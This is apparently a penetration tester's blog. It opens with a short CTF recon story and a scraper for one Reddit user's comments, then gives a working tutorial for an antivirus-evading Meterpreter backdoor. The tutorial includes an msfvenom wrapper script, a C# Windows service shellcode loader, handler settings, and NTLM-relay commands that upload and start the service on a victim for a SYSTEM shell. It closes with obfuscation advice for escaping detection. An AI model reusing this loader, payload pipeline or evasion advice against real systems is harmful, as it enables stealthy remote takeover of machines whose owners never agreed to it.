One of the other challenges we struggled with was a recon one: “what is Dan Guido’s favorite food”? There was also a hint that said something like “A lot of our users use reddit”. Since we had already solved all the other recon challenges and none required reddit, we were fairly certain this is where to look. Looking at dguido’s page there are tons of links- he’s part of the 5 year club.

Reddit has a robots.txt that tells search engines not to search it, and also a user’s comments aren’t indexed so they aren’t searchable using it’s search. This was the motivation for me to scrape a user’s comments so I could search through them locally.

#!/usr/bin/python

import urllib
import sys
import time

class AppURLopener(urllib.FancyURLopener):
    version = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1"

urllib._urlopener = AppURLopener()

class redditScrape:
    def __init__(self, startpage):
        self.thispage = startpage
        self.counter = 1

    def getInfo(self):
        while 1:
            print "Fetching ", self.thispage
            f = urllib.urlopen(self.thispage)
            data = f.read()
            self.saveHtml(data)
            self.getNextPage(data)
            #reddit asks for only one request every two seconds
            time.sleep(2)

    def saveHtml(self, data):
        f = open(str(self.counter), "w")
        f.write(self.thispage + "\n\n")
        f.write(data)
        f.close()

    def getNextPage(self, data):
        index = data.find("rel=\"nofollow next\"")
        if index == -1:
            print "Search done"
            sys.exit(0)
        else:
            hrefstart = data.rfind("href", 0, index) + 6
            hrefend = data.find("\"", hrefstart)
            self.thispage = data[hrefstart: hrefend]
            self.counter += 1

a = redditScrape("http://www.reddit.com/user/dguido")
a.getInfo()

Then I would

grep -Ri "cheese" .
grep -Ri "pizza" .
...

Unfortunately the answer turned out to be in another person’s comment so my script missed it, but someone else on my team found it not long after… in a thread I was blabbering in.

AV Evading Meterpreter Shell from a .NET Service

Update: I tried this in April 2013, and it still works quite well if you obfuscate the .net (e.g. using dotfuscator or there are plenty of free ones). I still use the generic idea for SMB type things, like NTLM relaying. That said, for simply evading AV, I highly recommend going the powershell route instead. Powersploit has meterpreter connectback built in, so you don’t even need to do anything. It’s awesome https://github.com/mattifestation/PowerSploit

Quite a few successful attacks rely on creating a malicious service at some point in the attack chain. This can be very useful for a couple reasons. First, in post exploitation scenarios these services are persistent, and (although noisy) these can be set to start when a connection fails or across reboots. Second, malicious services are also an extremely common way that boxes are owned in the first place – it’s part of how psexec and smb NTLM relaying work. In Metasploit by default, these are exploit modules most commonly used by selecting from their available payloads. One thing people may not realize is that these payloads are just turned into service binaries and then executed. You don’t need to necessarily use low level machine code – your “shellcode” can just be written in .NET if you want.

The strategy I’ll use here is to create a stage 1 .NET meterpreter service that connects back to our stage 2 host.

Maybe the easiest way to create a service is to use Visual Studio. Go to new project, and select Window Service, which should give you a nice skeleton.

Generate our stage 1 and put it in a C# byte array format. I wrote a python script to do this.

#!/usr/bin/python

###
# simple script that generates a meterpreter payload suitable for a .net executable
###

import argparse
import re
from subprocess import *

parser = argparse.ArgumentParser()
parser.add_argument('--lhost', required=True, help='Connectback IP')
parser.add_argument('--lport', required=True, help='Connectback Port')
parser.add_argument('--msfroot', default='/opt/metasploit/msf3')
args = parser.parse_args()


def create_shellcode(args):
    msfvenom = args.msfroot + "/msfvenom"
    msfvenom = (msfvenom + " -p windows/meterpreter/reverse_tcp LHOST=" + args.lhost + " LPORT=" + args.lport + " -e x86/shikata_ga_nai -i 15 -f c")
    msfhandle = Popen(msfvenom, shell=True, stdout=PIPE)
    try:
        shellcode = msfhandle.communicate()[0].split("unsigned char buf[] = ")[1]
    except IndexError:
        print "Error: Do you have the right path to msfvenom?"
        raise
    #put this in a C# format
    shellcode = shellcode.replace('\\', ',0').replace('"', '').strip()[1:-1]
    return shellcode

print create_shellcode(args)

Next, we can copy/paste our shellcode into a skeleton C# service, and execute it by virtualallocing a bit of executable memory and creating a new thread. One of my buddies pointed me at http://web1.codeproject.com/Articles/8130/Execute-Native-Code-From-NET, which was helpful when writing this.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Runtime.InteropServices;

namespace metservice
{
    public partial class Service1 : ServiceBase
    {
        public Service1()
        {
            InitializeComponent();
        }

        protected override void OnStart(string[] args)
        {
            // native function's compiled code
            // generated with metasploit
            byte[] shellcode = new byte[] {
0xbf,0xe2,0xe6,0x44,.... (stage 1 shellcode)
                };

            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data


            IntPtr pinfo = IntPtr.Zero;

            // execute native code

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

      }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress,
                              UInt32 dwSize, UInt32 dwFreeType);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );
        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle(

          string moduleName

          );
        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress(

          IntPtr hModule,
          string procName

          );
        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary(

          string lpFileName

          );
        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();


        protected override void OnStop()
        {
        }
    }
}

We still need to create our stage 2 listener on our attacker box from within metasploit.

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LPORT 443
...

Now we have our service, which when added and started will connect back to our listening attacker box. At which point we have a meterpreter shell running as system.

This is close to the exact same thing I did here with my http_ntlmrelay module. Using that, we have two steps. One is uploading our malicious .net service, and the second is starting that service.

use auxiliary/server/http_ntlmrelay
#SMB_PUT our malicious windows service (named metservice.exe) onto the victim
set RHOST mwebserver
set RPORT 445
set RTYPE SMB_PUT
set URIPATH /1
set RURIPATH c$\\Windows\\rla7cu.exe
set FILEPUTDATA /root/ntlm_demo/smb_pwn/metservice.exe
run
#Execute the malicious windows service
set RTYPE SMB_PWN
set RURIPATH %SystemRoot%\\rla7cu.exe
set URIPATH /2
run

Out of the box, this service already evades most AV (there are 0 detections when I uploaded to virustotal).

However, as AV companies do, they could update their stuff to figure out a way of detecting this. In the middle of a pentest, I already got an email from a concerned stakeholder asking about this service, which I had named “gonnaownyou” or something (yes, I know, sloppy, but I can be loud and arrogant). This concerned stake holder said they were in the process of analyzing the binary to determine if it was malicious. Surprised they had detected anything, I immediately dropped the binary into reflector, and it really couldn’t be more obvious that it is in fact malicious. I mean, my byte array is named “shellcode”, even in reflector.

As an attacker, the good news is we’re in .NET land now. It’s really very easy to modify C# compared to low level shellcode. All our real shellcode is just a string, which we can hide however the hell we want – we could easily download it from somewhere, use encryption, etc. with only a few code changes. In fact, we might not even have to modify our code above at all. There is an entire legitimate market to make managed code tough to analyze to protect IP and whatnot. Think dotfuscator. I’m not an AV guy – I usually know just enough to evade it – but it seems to me that for an AV company to detect our dotfuscated shellcode would be a difficult problem.

You know how it’s often referred to as an arms race/escalation game when people try to bypass AV, and then AV companies try to detect that? You know how they say basically the same thing about code obfuscating type solutions? Well, I don’t like spending my time evading AV, so I have this funny fantasy where I pit the code obfuscator people against the AV companies and they escalate their approaches against each other, leaving me out of the escalation equation completely :)